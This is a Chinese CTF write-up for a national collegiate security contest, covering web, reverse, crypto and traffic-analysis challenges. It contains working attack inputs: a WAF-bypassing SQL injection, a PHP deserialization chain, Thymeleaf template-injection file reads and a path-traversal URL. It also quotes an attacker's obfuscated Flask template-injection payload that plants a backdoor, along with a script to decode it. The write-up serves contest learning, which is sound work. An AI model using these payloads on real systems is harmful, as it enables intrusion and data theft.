第十九届全国大学生信息安全竞赛暨第三届长城杯网数智安全大赛 初赛-wp

web

AI_WAF

内联注释绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /search HTTP/1.1
Host: 39.106.48.123:41969
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://39.106.48.123:41969/
Content-Type: application/json
Content-Length: 107
Origin: http://39.106.48.123:41969
Connection: keep-alive
Priority: u=0

{"query": "' /*!50000union*/ /*!50000select*/ -1,group_concat(Th15_ls_f149),3 from where_is_my_flagggggg#"}

或者可以使用提示词注入来绕过

hellogate

图片尾有源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
error_reporting(0);
class A {
public $handle;
public function triggerMethod() {
echo "" . $this->handle;
}
}
class B {
public $worker;
public $cmd;
public function __toString() {
return $this->worker->result;
}
}
class C {
public $cmd;
public function __get($name) {
echo file_get_contents($this->cmd);
}
}
$raw = isset($_POST['data']) ? $_POST['data'] : '';
header('Content-Type: image/jpeg');
readfile("muzujijiji.jpg");
highlight_file(__FILE__);
$obj = unserialize($_POST['data']);
$obj->triggerMethod();

简单的反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

class A {
public $handle;
public function triggerMethod() {
echo "" . $this->handle;
}
}
class B {
public $worker;
public $cmd;
public function __toString() {
return $this->worker->result;
}
}
class C {
public $cmd='/flag';
public function __get($name) {
echo file_get_contents($this->cmd);
}
}

$a = new A();
$a->handle = new B();
$a->handle->worker = new C();

echo urlencode(serialize($a));

//O%3A1%3A%22A%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A6%3A%22worker%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A5%3A%22%2Fflag%22%3B%7Ds%3A3%3A%22cmd%22%3BN%3B%7D%7D

redjs

前一段时间next.js的cve

dedecms

注册一个账号 test123/test123

​在随后跳转的页面中发现了系统中早就存在的一个用户Aa123456789

尝试弱口令 Aa123456789/Aa123456789 成功登录后台

发现并不能成功利用后台的任意文件读取的漏洞,于是在会员列表中找到可以提升用户权限的接口

​成功提升 test123 用户的权限为超级管理员后利用已知的cve实现任意文件读取

1
https://eci-2zegy77sodt7rh1i08bl.cloudeci1.ichunqiu.com/dede/sys_verifies.php?action=view&filename=../../../../../flag.txt

EzJava

爆破出弱口令 admin/admin123

示例中用的是th:text,可以解析,所以考虑Thymeleaf模板注入

过滤了new,flag等关键字

列目录

1
<span th:text="${''.class.forName('java.util.Arrays').toString(''.class.forName('java.nio.file.Files').list(''.class.forName('java.nio.file.Path').of('/')).toArray())}"></span>

读flag

1
<span th:text="${''.class.forName('java.nio.file.Files').readString(''.class.forName('java.nio.file.Path').of('/fl'.concat('ag_y0u_d0nt_kn0w')))}"></span>

Deprecated

是第二届长城杯决赛的原题

两个jwt碰撞后得到密钥再伪造jwt

然后利用数组和字符串绕过弱比较读文件

reverse

babygame

godot游戏,gdre_tools解包

flag.gdc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
extends CenterContainer

@onready var flagTextEdit: Node = $PanelContainer / VBoxContainer / FlagTextEdit
@onready var label2: Node = $PanelContainer / VBoxContainer / Label2

static var key = "FanAglFanAglOoO!"
var data = ""

func _on_ready() -> void :
Flag.hide()

func get_key() -> String:
return key

func submit() -> void :
data = flagTextEdit.text

var aes = AESContext.new()
aes.start(AESContext.MODE_ECB_ENCRYPT, key.to_utf8_buffer())
var encrypted = aes.update(data.to_utf8_buffer())
aes.finish()

if encrypted.hex_encode() == "d458af702a680ae4d089ce32fc39945d":
label2.show()
else:
label2.hide()

func back() -> void :
get_tree().change_scene_to_file("res://scenes/menu.tscn")

game_manager.gdc

1
2
3
4
5
6
7
8
9
10
11
12
extends Node

@onready var fan = $"../Fan"

var score = 0

func add_point():
score += 1
if score == 1:
Flag.key = Flag.key.replace("A", "B")
fan.visible = true

​简单分析一下就是把key中的A替换为B,然后再解一个aes就可以了

wasm-login

某人本想在2025年12月第三个周末爆肝一个web安全登录demo,结果不仅搞到周一凌晨,他自己还忘了成功登录时的时间戳了,你能帮他找回来吗?
提交格式为flag{时间戳正确时的check值}。是一个大括号内为一个32位长的小写十六进制字符串。

在check的时候发现,使用md5进行比对,要开头ccaf33e3512e31f3才可以继续跟踪

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 模拟服务器请求
function simulateServerRequest(data) {
return new Promise(resolve => {
// 模拟网络延迟
setTimeout(() => {
// 实际应用中这里应该是真实的 API 请求
// 这里仅作演示,使用本地判断
const check = CryptoJS.MD5(JSON.stringify(data)).toString(CryptoJS.enc.Hex);
if (check.startsWith("ccaf33e3512e31f3")){
resolve({ success: true });
}else{
resolve({ success: false });
}
}, 1000);
});
}

发现Date.now()时间戳和账号密码传到wasm的authenticate()函数处理。断点进入后发现是HMAC-SHA256

1
2
3
4
5
6
7
8
9
10
11
const adaptedExports = Object.setPrototypeOf({
authenticate(username, password) {
username = __retain(__lowerString(username) || __notnull());
password = __lowerString(password) || __notnull();
try {
return __liftString(exports.authenticate(username, password) >>> 0);
} finally {
__release(username);
}
},
}, export);

通过题目给出的信息可以得出时间在2025年12月21日左右

在index.html中插入exp后运行爆破即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<script src="crypto-js.js"></script>
<script type="module">
import { authenticate } from './build/release.js';

const wasmTime = new Date('2025-12-21T16:57:16Z').getTime();
const htmlTime = new Date('2025-12-21T17:06:06Z').getTime();

const originalNow = Date.now;

const startTs = wasmTime - 1800000;
const endTs = htmlTime + 1800000;

console.log(`: ${new Date(startTs).toISOString()} ${new Date(endTs).toISOString()}\n`);
for (let ts = startTs; ts <= endTs; ts += 1) {
Date.now = () => ts;

try {
const result = authenticate("admin", "admin");
const md5 = CryptoJS.MD5(result).toString(CryptoJS.enc.Hex);

if (md5.startsWith("ccaf33e3512e31f3")) {
console.log('UTC:', new Date(ts).toISOString());
console.log(new Date(ts).toLocaleString('zh-CN', {timeZone: 'Asia/Shanghai'}));
console.log(result);
console.log('MD5:', md5);
Date.now = originalNow;
process.exit(0);
}
} catch (e) {}
}
</script>

查看控制台

1
2
{"username":"admin","password":"L0In602=","signature":"LxZiwA05Y9h7wX1CI0gUitOE2LBy9y8McoBqWgKIdDo="}
ccaf33e3512e31f36228f0b97ccbc8f1

vvvmmm

Eternum

crypto

ECDSA

题目代码里直接得到私钥priv_int

1
2
3
4
5
6
7
8
9
from ecdsa import NIST521p
from hashlib import sha512, md5

digest_int = int.from_bytes(sha512(b"Welcome to this challenge!").digest(), "big")
curve_order = NIST521p.order
priv_int = digest_int % curve_order
print(md5(str(priv_int).encode()).hexdigest())

# flag{581bdf717b780c3cd8282e5a4d50f3a0}

EzFlag

分析ELF,要求先输入密码

1
if ( (unsigned __int8)std::operator!=<char>(v6, "V3ryStr0ngp@ssw0rd") )

输入密码后,只能显示几位密码,sleep()函数后面出不来,所以只能根据逻辑来写脚本,主要是斐波那契

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall f(unsigned __int64 a1)
{
// ... 初始化 ...
v5 = 0;
v4 = 1;
for ( i = 0; i < a1; ++i ) // 循环 a1 次
{
v2 = v4;
v4 = ((_BYTE)v5 + (_BYTE)v4) & 0xF; // 核心运算
v5 = v2;
}
return K[v5]; // 查表
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
K = "012ab9c3478d56ef"
fib_mod16 = []
a, b = 0, 1
for _ in range(24):
fib_mod16.append(a)
a, b = b, (a + b) % 16

v11 = 1
flag_chars = []

for i in range(32):
idx = v11 % 24
fib_val = fib_mod16[idx]
char = K[fib_val]
flag_chars.append(char)
if i in [7, 12, 17, 22]:
flag_chars.append("-")

v11 = (v11 * 8) + i + 64
v11 = v11 & 0xFFFFFFFFFFFFFFFF

print("flag{"+"".join(flag_chars) + "}")

# flag{10632674-1d219-09f29-14769-f60219a24}

RSA_NestingDoll

题目提供了两个RSA模数:

  1. Inner Modulus ($N_1$):由四个 512-bit 的素数生成,$N_1 = p_1 \cdot q_1 \cdot r_1 \cdot s_1$
  2. Outer Modulus ($N$):由四个 1024-bit 的素数生成,$N = P \cdot Q \cdot R \cdot S$
  3. Flag 加密:Flag 是使用内层模数 $N_1$ 加密的

题目的关键在于分析素数生成的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def get_smooth_prime(bits, smoothness, max_prime=None):
assert bits - 2 * smoothness > 0
p = 2
if max_prime!=None:
assert max_prime>smoothness
p*=max_prime

while p.bit_length() < bits - 2 * smoothness:
factor = getPrime(smoothness)
p *= factor

bitcnt = (bits - p.bit_length()) // 2
while True:
prime1 = getPrime(bitcnt)
prime2 = getPrime(bitcnt)
tmpp = p * prime1 * prime2
if tmpp.bit_length() < bits:
bitcnt += 1
continue
if tmpp.bit_length() > bits:
bitcnt -= 1
continue
if isPrime(tmpp + 1):
p = tmpp + 1
break
return p

根据外层素数 $P$ 的构造公式为

$$
P = (p_1 \times \prod \text{small_primes} \times \text{pad}_1 \times \text{pad}_2) + 1
$$

这意味着

$$P - 1 = k \cdot p_1$$

即 $P - 1$ 是 $p_1$ 的倍数。同理,$Q-1$ 是 $q_1$ 的倍数,以此类推。所以就可以用Pollard's p-1分解算法来求

​在本题中$P-1$ 虽然不是完全 smooth(因为它包含了一个大因子 $p_1$),但我们已知这个大因子的来源——它就在 $N_1$ 里。我们先构造$E$来求出这个最大的因子$p_1$。然后补全剩余的因子后再剥离即可找到所有因子然后还原d

$$
f_{in} = \gcd(f_{out} - 1, N_1)
$$

得到 $p_1, q_1, r_1, s_1$ 后,计算私钥 $d$

$$
\phi(N_1) = (p_1-1)(q_1-1)(r_1-1)(s_1-1)
$$

$$
d = e^{-1} \pmod{\phi(N_1)}
$$

$$
m = c^d \pmod{N_1}
$$

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
# sageMath
from sage.all import *
n1 = 16141229822582999941795528434053604024130834376743380417543848154510567941426284503974843508505293632858944676904777719167211264225017879544879766461905421764911145115313698529148118556481569662427943129906246669392285465962009760415398277861235401144473728421924300182818519451863668543279964773812681294700932779276119980976088388578080667457572761731749115242478798767995746571783659904107470270861418250270529189065684265364754871076595202944616294213418165898411332609375456093386942710433731450591144173543437880652898520275020008888364820928962186107055633582315448537508963579549702813766809204496344017389879
c = 657984921229942454933933403447729006306657607710326864301226455143743298424203173231485254106370042482797921667656700155904329772383820736458855765136793243316671212869426397954684784861721375098512569633961083815312918123032774700110069081262242921985864796328969423527821139281310369981972743866271594590344539579191695406770264993187783060116166611986577690957583312376226071223036478908520539670631359415937784254986105845218988574365136837803183282535335170744088822352494742132919629693849729766426397683869482842748401000853783134170305075124230522253670782186531697976487673160305610021244587265868919495629
e = 65537
p1 = 12094541303222723616975666632268830751848445571951987169074250626437877110205699058506111384472586354084793914769711672322551034923778729430162356351731919
factor2 = 3573106691571627002343897845367774314014574177975390050500519281172916496745837169036549045456162681483854180016376451929098793962762372729737729780380859968474315134497599164031429365353823587724218317825722469972859525113143007375465528840147470082078235184661508063229808286707020387260936640052878524719258648573942775063666451207774584909905265619721814566171244359117991490193008075784234066159650186274209826583896083324774928454062266913983189523675641780896426220718711359530607807081645482573259301479484486770417885228419615796714052117864118971323138992787213974634917988323220222848248158485879625409256495204137278769428375298000731748274924457490997132776367695571214442589571743768077241497519115812741866942180328459966080781973538341326592835352090922028725070767552131131231145949204192873574824335400299383061487520134965552085298055534923712799290606734120446584460301897534539150170137074572346996818399
outer_p = 135688958085666204636622376874663606060623037984533127554949215373727873563467489694515897900072291984166610384751239950595038402004183706658277547464498952029614078086225311186822818493543473754253851434625753882109758955467109025977046916035650210512394432911014637466491327705680886113441168344937689638007

n_rem = n1 // p1
current_target = Integer(factor2)
factors_found = []
g = power_mod(2, n_rem, current_target)
primes_iter = primes(2, 1<<22)
chunk_prod = 1
count = 0
total_primes = 0
while True:
try:
p_val = next(primes_iter)
except StopIteration:
break

chunk_prod *= p_val
count += 1
total_primes += 1
if count >= 20:
g = power_mod(g, chunk_prod, current_target)
d = gcd(g - 1, current_target)
if d > 1:
if d == current_target:
break
else:
factors_found.append(d)
current_target //= d
g %= current_target

if current_target.is_prime():
factors_found.append(current_target)
break

if len(factors_found) == 3:
break

chunk_prod = 1
count = 0
if len(factors_found) == 3:
break

all_outer = [outer_p] + factors_found
if len(all_outer) < 4 and current_target > 1 and current_target not in all_outer:
all_outer.append(current_target)

if len(all_outer) != 4:
raise SystemExit

inner_factors = []
for f in all_outer:
f_in = gcd(f - 1, n1)
inner_factors.append(f_in)
phi_n1 = 1
for f in inner_factors:
phi_n1 *= (f - 1)

d_priv = inverse_mod(e, phi_n1)
m = power_mod(c, d_priv, n1)
flag_bytes = int(m).to_bytes((int(m).bit_length() + 7) // 8, 'big')
print(flag_bytes)


# flag{fak3_r5a_0f_euler_ph1_of_RSA_040a2d35}

流量分析

SnakeBackdoor-1

攻击者爆破成功的后台密码是什么?,结果提交形式:flag{xxxxxxxxx}

zxcvbnm123

SnakeBackdoor-2

攻击者通过漏洞利用获取Flask应用的 SECRET_KEY 是什么,结果提交形式:flag{xxxxxxxxxx}

全局搜SECRET_KEY即可

c6242af0-6891-4510-8432-e1cdf051f160

SnakeBackdoor-3

攻击者植入的木马使用了加密算法来隐藏通讯内容。请分析注入Payload,给出该加密算法使用的密钥字符串(Key) ,结果提交形式:flag{xxxxxxxx}

在stream 1789中可以看到一段payload

1
preview_content={{url_for.__globals__['__builtins__']['exec']("import base64; exec(base64.b64decode('XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS5kZWNvbXByZXNzKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX1s6Oi0xXSkpOwpleGVjKChfKShiJz1jNENVM3hQKy8vdlB6ZnR2OGdyaTYzNWEwVDFyUXZNbEtHaTNpaUJ3dm02VEZFdmFoZlFFMlBFajdGT2NjVElQSThUR3FaTUMrbDlBb1lZR2VHVUFNY2Fyd1NpVHZCQ3YzN3lzK04xODVOb2NmbWpFL2ZPSGVpNE9uZTBDTDVUWndKb3BFbEp4THI5VkZYdlJsb2E1UXZyamlUUUtlRytTR2J5Wm0rNXpUay9WM25aMEc2TmVhcDdIdDZudSthY3hxc3Ivc2djNlJlRUZ4ZkVlMnAzMFlibXl5aXMzdWFWMXArQWowaUZ2cnRTc01Va2hKVzlWOVMvdE8rMC82OGdmeUtNL3lFOWhmNlM5ZUNEZFFwU3lMbktrRGlRazk3VFV1S0RQc09SM3BRbGRCL1VydmJ0YzRXQTFELzljdFpBV2NKK2pISkwxaytOcEN5dktHVmh4SDhETEw3bHZ1K3c5SW5VLzl6dDFzWC9Uc1VSVjdWMHhFWFpOU2xsWk1acjFrY0xKaFplQjhXNTl5bXhxZ3FYSkpZV0ppMm45NmhLdFNhMmRhYi9GMHhCdVJpWmJUWEZJRm1ENmtuR3ovb1B4ZVBUenVqUHE1SVd0OE5abXZ5TTVYRGcvTDhKVS9tQzRQU3ZYQStncWV1RHhMQ2x6Uk5ESEpVbXZ0a2FMYkp2YlpjU2c3VGdtN1VTZUpXa0NRb2pTaStJTklFajVjTjErRkZncEtSWG40Z1I5eXAzL1Y3OVduU2VFRklPNkM0aGNKYzRtd3BrKzA5dDF5dWU0K21BbGJobHhuWE0xUGZrK3NHQm1hVUZFMWtFak9wbmZHbnFzVithdU9xakpnY0RzaXZJZCt3SFBIYXp0NU1WczRySFJoWUJPQjZ5WGp1R1liRkhpM1hLV2hiN0FmTVZ2aHg3RjlhUGpObUlpR3FCVS9oUkZVdU1xQkNHK1ZWVVZBYmQ1cEZEVFpKM1A4d1V5bTZRQUFZUXZ4RytaSkRSU1F5cE9oWEsvTDRlRkZ0RXppdWZaUFN5cllQSldKbEFRc0RPK2RsaTQ2Y24xdTVBNUh5cWZuNHZ3N3pTcWUrVlVRL1JpL0tudjBwUW9XSDFkOWRHSndEZnFtZ3ZuS2krZ05SdWdjZlVqRzczVjZzL3RpaGx0OEIyM0t2bUp6cWlMUHptdWhyMFJGVUpLWmpHYTczaUxYVDRPdmxoTFJhU2JUVDR0cS9TQ2t0R1J5akxWbVNqMmtyMEdTc3FUamxMMmw2Yy9jWEtXalJNdDFrTUNtQ0NUVithSmU0bnB2b0I5OU9NbktuWlI0WXM1MjZtVEZUb1N3YTVqbXhCbWtSWUNtQTgyR0ZLN2FrNmJJUlRmRE1zV0dzWnZBRVh2M1BmdjVOUnpjSUZOTzN0YlFrZUIvTElWT1c1TGZBa21SNjgvNnpyTDBEWm9QanpGWkk1VkxmcTBydjlDd1VlSmtSM1BIY3VqKytkL2xPdms4L2gzSHpTZ1lUR0N3bDF1ano4aDRvVWlQeUdUNzROamJZN2ZKOHZVSHFOeitaVmZPdFZ3L3ozUk11cVNVekVBS3JqY1UyRE5RZWhCMG9ZN3hJbE9UOXU5QlQ0Uk9vREZvKzVaRjZ6Vm9IQTRlSWNrWFVPUDN5cFF2NXBFWUcrMHBXNE15SG1BUWZzT2FXeU1kZk1vcWJ3L005b0ltZEdLZEt5MVdxM2FxK3QreHV5VmROQVFNaG9XMkE3elF6b2I4WEdBM0c4VnVvS0hHT2NjMjVIQ2IvRlllU3hkd3lJZWRBeGtsTExZTUJIb2pUU3BEMWRFeG96ZGk4OUdpa2h6MzMwNW5kVG1FQ3YwWm9VT0hhY25xdFVVaEpseTdWZ3ZYK0psYXdBWTlvck5QVW1aTTdRS2JkT2tUZi9vOGFRbFM1RmUveFFrT01KR200TlhxTGVoaVJJYjkyNXNUZlZ4d29OZlA1djFNR2xhcllNaWZIbDJyRXA1QzcxaXBGanBBR2FFcDluUmowSmdFYTRsU1R1WWVWWHdxYlpRVDNPZlF2Z3QvYkhKbEFndXFTV3lzR2hxaElUSllNNlQxMG03MUppd2ZRSDVpTFhINVhiRms1M1FHY0cyY0FuRnJXeTcweEV2YWJtZjB1MGlrUXdwVTJzY1A4TG9FYS9DbEpuUFN1V3dpY01rVkxya1pHcW5CdmJrNkpUZzdIblQwdkdVY1Y2a2ZmSUw2Q0szYkUxRnkwUjZzbCtVUG9ZdmprZ1NJM1ViZkQ2N2JSeEl4ZWdCcFlUenlDRHpQeXRTRSthNzdzZHhzZ2hMcFVDNWh4ejRaZVhkeUlyYm1oQXFRdzVlRW5CdUFTRTVxVE1Ka1RwLy9oa3krZFQycGNpT0JZbi9BQ1NMeHByTFowQXkxK3pobCtYeVY5V0ZMNE5nQm9IMzRidmt4SDM2bmN0c3pvcFdHUHlkMTRSaVM0ZDBFcU5vY3F2dFd1M1l4a05nUCs4Zk0vZC9CMGlreEt4aC9HamttUVhhU1gvQis0MFU0YmZTYnNFSnBWT3NUSFR5NnUwTnI2N1N3N0J2Und1VnZmVDAvOGo3M2dZSEJPMmZHU0lKNDdBcllWbTIrTHpSVDBpSDVqN3lWUm1wdGNuQW44S2t4SjYzV0JHYjd1M2JkK0QrM3lsbm0xaDRBUjdNR042cjZMeHBqTmxBWDExd2EvWEIxek44Y1dVTm5DM1ZjemZ3VUV3UGZpNWR5bzluRUM1V085VW03OFdLUnJtM2M0OEl2VFVoZ2ROZVFFRG9zSWZoTVNtaWtFbHVRWDhMY0NSY0s5ZVVUODVidnI1SjVyekViK0R1aUdZeURGRzdQWmVmdkliM3czM3UycTh6bHhsdFdDU3RjNU80cThpV3JWSTd0YVpIeG93VHc1ekpnOVRkaEJaK2ZRclF0YzB5ZHJCbHZBbG5ZMTB2RUNuRlVCQSt5MWxXc1ZuOGNLeFVqVGRhdGk0QUYzaU0vS3VFdFE2Wm44Ykk0TFl3TWxHbkNBMVJHODhKOWw3RzRkSnpzV3I5eE9pRDhpTUkyTjFlWmQvUVV5NDNZc0lMV3g4MHlpQ3h6K0c0YlhmMnFOUkZ2Tk9hd1BTbnJwdjZRMG9GRVpvamx1UHg3Y09VMjdiQWJncHdUS28wVlV5SDZHNCt5c3ZpUXpVN1NSZDUxTEdHM1U2Y1QwWURpZFFtejJld3Ria2tLY0dWY1N5WU9lQ2xWNkNSejZiZEYvR20zVDIrUTkxNC9sa1piS3gxOVduWDc4cit4dzZicGp6V0xyMEUxZ2puS0NWeFcwWFNud2UraUc5ZGtHOG5DRmZqVWxoZFRhUzFnSjdMRnNtVWpuOHUvdlJRYlJMdy95NjZJcnIveW5LT0N6Uk9jZ3JuREZ4SDN6M0pUUVFwVGlEcGV5elJzRjRTbkdCTXY1SGJyK2NLNllUYTRNSWJmemo1VGkzRk1nSk5xZ0s1WGs5aHNpbEdzVTZ0VWJucDZTS2lKaFV2SjhicXluVU1Fem5kbCtTK09WUkNhSDJpSmw4VTNXanlCNjhScTRIQVRrL2NLN0xrSkhITWpDM1c3ZFRtT0JwZm9XTVZFTGFMK1JrcVdZdjBDcFc1cUVOTGxuT1BCckdhR05lSVphaHpibnJ1RVBJSVhHa0d6MWZFNWQ0Mk1hS1pzQ1VZdDF4WGlhaTkrY2JLR2ovZDBsSUNxN3VjN2JSaEVCeDQ2RHlCWFR6MWdmSm5UMnVyNng0QXZiNXdZMnBjWXJjRDJPUjZBaWtNdm0yYzBiaGFiSkI2bzBEaE9OSjRsQ3htS2RHQnp1d3J0czF1MEQyeXVvMzd5TExmc0dEdXllcE53OGx5VE5jMm55aENWQmZXMjNEbkJRbVdjMVFMQ29ScHBWaGpLWHdPcE9ES084UjhZSG5RTStyTGs2RU9hYkNkR0s1N2lSek1jVDN3YzQzNmtWbUhYRGNJMFpzWUdZNWFJQzVEYmRXalV0Mlp1VTBMbXVMd3pDVFM5OXpoT29POERLTnFiSzRiSU5MeUFJMlg5Mjh4aWIraG1JT3FwM29TZ0MyUGRGYzh5cXRoTjlTNTVvbXRleDJ4a0VlOENZNDhDNno0SnRxVnRxaFBRV1E4a3RlNnhsZXBpVllDcUliRTJWZzRmTi8vTC9mZi91Ly85cDRMejd1cTQ2eVdlbmtKL3g5MGovNW1FSW9yczVNY1N1Rmk5ZHlneXlSNXdKZnVxR2hPZnNWVndKZScpKQ=='))", {'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}

脚本循环解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import base64, zlib, re

def decode_blob(b):
return zlib.decompress(base64.b64decode(b[::-1]))

def peel_layers(first_payload, max_layers=200):
cur = decode_blob(first_payload)
n = 1
while n < max_layers:
s = cur.decode("utf-8", errors="replace")
m = re.search(r"exec\(\(_\)\(b'([^']+)'\)\)", s)
if not m:
return n, cur
cur = decode_blob(m.group(1).encode())
n += 1
return n, cur


payload_bytes=b'=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'
layers, final = peel_layers(payload_bytes)
print(layers)
print(final.decode("utf-8", errors="replace"))

得到shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
global exc_class
global code
import os,binascii
exc_class, code = app._get_exc_class_and_code(404)
